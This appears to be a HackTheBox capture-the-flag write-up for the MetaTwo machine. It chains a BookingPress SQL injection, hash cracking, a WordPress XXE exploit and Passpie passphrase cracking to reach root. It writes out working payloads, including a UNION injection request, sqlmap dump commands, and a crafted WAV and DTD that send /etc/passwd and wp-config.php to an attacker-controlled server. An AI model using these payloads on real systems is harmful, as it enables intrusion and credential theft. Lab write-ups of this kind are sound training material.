MetaTwo - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

MetaTwo is an easy Linux machine featuring a WordPress website vulnerable to unauthenticated SQL injection via the BookingPress plugin (CVE-2022-0739). Exploitation reveals WordPress user password hashes which can be cracked to gain admin access. From there, an authenticated XXE vulnerability in the Media Library (CVE-2021-29447) exposes FTP credentials, leading to SSH access via credentials found in a PHP mailer configuration file. Privilege escalation is achieved by cracking the master passphrase of the Passpie password manager to retrieve the root user’s credentials.

TL;DR: SQL Injection (BookingPress) → Crack WP hash → XXE (Media Library) → FTP credentials → SSH credentials → Passpie passphrase cracking → root access

Reconnaissance

Port Scanning

# Fast port discovery
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.186 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration
nmap -p$ports -sV 10.10.11.186

Results:

• Port 21 (FTP): ProFTPD file server
• Port 22 (SSH): OpenSSH service
• Port 80 (HTTP): Nginx web server

Service Enumeration

HTTP Service Discovery:

Browsing to port 80 redirects to metapress.htb. Add this to /etc/hosts:

echo "10.10.11.186     metapress.htb" | sudo tee -a /etc/hosts

Visiting the site reveals a WordPress installation with an “Events” page. Using the Wappalyzer browser extension or HTTP headers identifies:

• WordPress Version: 5.6.2
• PHP Version: 8.0.24
• Plugin: BookingPress Appointment Booking v1.0.10

The Events page source code reveals the BookingPress plugin is loaded via /wp-content/plugins/bookingpress-appointment-booking/ with version 1.0.10.

Vulnerability Assessment

Identified Vulnerabilities:

1. CVE-2022-0739 (BookingPress SQL Injection): The bookingpress_front_get_category_services AJAX action fails to sanitize POST data, allowing unauthenticated SQL injection
2. CVE-2021-29447 (WordPress XXE in Media Library): Authenticated XXE vulnerability in WordPress 5.6.2 Media Library via specially crafted WAV files
3. Weak Password Management: Credentials stored in plaintext PHP files accessible via FTP
4. Passpie Master Passphrase: Weak passphrase susceptible to dictionary attacks

Initial Foothold

Exploitation Path

Step 1: Extract BookingPress SQL Injection Nonce

View the Events page source to locate the _wpnonce value:

curl -s http://metapress.htb/events/ | grep wpnonce

This yields the nonce needed for the AJAX request (e.g., 60646b11e1).

Step 2: Verify SQL Injection

Test the vulnerability with a manual curl request:

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
  --data 'action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

The response confirms SQL injection is possible.

Step 3: Automate Exploitation with SQLMap

List available databases:

sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" \
  --method POST \
  --data "action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111" \
  -p total_service --level=5 --risk=3 --dbs

Enumerate tables in the blog database:

sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" \
  --method POST \
  --data "action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111" \
  -p total_service --level=5 --risk=3 -D blog --tables

Dump the wp_users table:

sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" \
  --method POST \
  --data "action=bookingpress_front_get_category_services&_wpnonce=60646b11e1&category_id=123&total_service=111" \
  -p total_service --level=5 --risk=3 -D blog -T wp_users --dump

Extracted hashes:

admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Step 4: Crack WordPress Password Hashes

Save the hashes to a file:

cat > wp_users.hash << 'EOF'
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
EOF

Use John the Ripper with rockyou.txt wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt wp_users.hash

Cracked credentials:

manager : partylikearockstar

Step 5: Authenticate to WordPress Admin

Log in to WordPress at http://metapress.htb/wp-login.php with credentials:

username: manager
password: partylikearockstar

Step 6: Exploit XXE in Media Library

WordPress 5.6.2 is vulnerable to authenticated XXE. Create a WAV file containing an XXE payload.

First, create payload.wav:

# Note: Replace [YOUR_LOCAL_IP] with your tun0 IP address
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_LOCAL_IP:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Create evil.dtd to exfiltrate /etc/passwd:

cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOUR_LOCAL_IP:8080/?p=%file;'>" >
EOF

Start a Python HTTP server to capture the response:

python3 -m http.server 8080

Upload payload.wav via WordPress Media Library. The server will receive base64-encoded /etc/passwd data.

Step 7: Extract wp-config.php via XXE

Modify evil.dtd to target wp-config.php:

cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOUR_LOCAL_IP:8080/?p=%file;'>" >
EOF

Upload another WAV file to extract FTP credentials from wp-config.php:

FTP_USER: metapress.htb
FTP_PASS: 9NYS_ii@FyL_p5M2NvJ

Step 8: Access FTP Server

ftp 10.10.11.186
# Username: metapress.htb
# Password: 9NYS_ii@FyL_p5M2NvJ

Download send_email.php from the FTP server:

get send_email.php

The file reveals SSH credentials:

Username: jnelson@metapress.htb
Password: Cb4_JmWM8zUZWMu@Ys

Step 9: SSH Access

ssh jnelson@10.10.11.186
# Password: Cb4_JmWM8zUZWMu@Ys

Retrieve the user flag:

cat /home/jnelson/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumerate User Directory

Discover the .passpie directory containing Passpie password manager data:

ls -la ~/.passpie/

This reveals a .keys file containing GPG public and private keys.

Step 2: Extract GPG Private Key

cat ~/.passpie/.keys

Copy the private key block for offline cracking. Use scp to transfer to your local machine:

scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys ./keys

Step 3: Generate GPG Key Hash

Remove the public key section from the keys file (keep only the private key block), then generate a crackable hash:

gpg2john keys > keys.hash

Step 4: Crack the Passphrase

Use John the Ripper with the GPG format:

john --wordlist=/usr/share/wordlists/rockyou.txt keys.hash --format=gpg

Cracked passphrase:

blink182

Step 5: Export Passpie Passwords

Back on the target machine, export the Passpie database:

passpie export ~/password.db

When prompted for the passphrase, enter:

blink182

Step 6: Retrieve Root Password

View the exported passwords:

cat ~/password.db

Extract the root password:

root : p7qfAZt4_A1xo_0x

Step 7: Switch to Root

su root
# Password: p7qfAZt4_A1xo_0x

Retrieve the root flag:

cat /root/root.txt

Attack Chain Summary

Nmap Scan
    ↓
Identify WordPress 5.6.2 + BookingPress 1.0.10
    ↓
CVE-2022-0739 (SQL Injection)
    ↓
Extract wp_users hashes
    ↓
John the Ripper (Crack manager hash)
    ↓
WordPress Admin Access
    ↓
CVE-2021-29447 (XXE in Media Library)
    ↓
Extract wp-config.php (FTP Credentials)
    ↓
FTP Access → send_email.php (SSH Credentials)
    ↓
SSH as jnelson
    ↓
User Flag ✓
    ↓
Enumerate .passpie/.keys
    ↓
gpg2john + John the Ripper (Crack passphrase: blink182)
    ↓
Export Passpie Database (Root Password)
    ↓
su root
    ↓
Root Flag ✓

Tools Used

Key Learnings

Techniques Practiced

• Unauthenticated SQL injection in WordPress plugins
• Hash cracking with John the Ripper (WordPress and GPG formats)
• XML External Entity (XXE) injection in PHP applications
• PHP filter wrappers for file exfiltration
• Base64 encoding/decoding for data obfuscation
• GPG key extraction and passphrase cracking
• FTP server enumeration and file retrieval
• SSH credential extraction from application files
• Privilege escalation via password manager exploitation

Lessons Learned

1. Plugin Vulnerabilities Are Critical: The BookingPress plugin’s lack of input sanitization allowed complete database compromise without authentication. Always audit third-party WordPress plugins for CVE disclosures.

2. XXE Exploitation Requires Authentication Context: While XXE required admin access, it provided a path to extract sensitive configuration files. This demonstrates the importance of compartmentalizing credentials across services.

3. Plaintext Credential Storage: The send_email.php file contained hardcoded SSH credentials. Never store passwords in source code or configuration files accessible via FTP.

4. Master Passwords Are the Weakest Link: Password managers like Passpie rely on a single master passphrase. If that passphrase is weak (blink182 is a dictionary word), the entire credential store is compromised.

5. Privilege Escalation Chains: This machine demonstrated a realistic attack chain: initial compromise → lateral access → privilege escalation. Each layer built upon previous discoveries.

6. Base64 Encoding as Exfiltration Method: XXE payloads used base64 encoding to bypass filtering on special characters. Understanding encoding bypasses is essential for post-exploitation.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>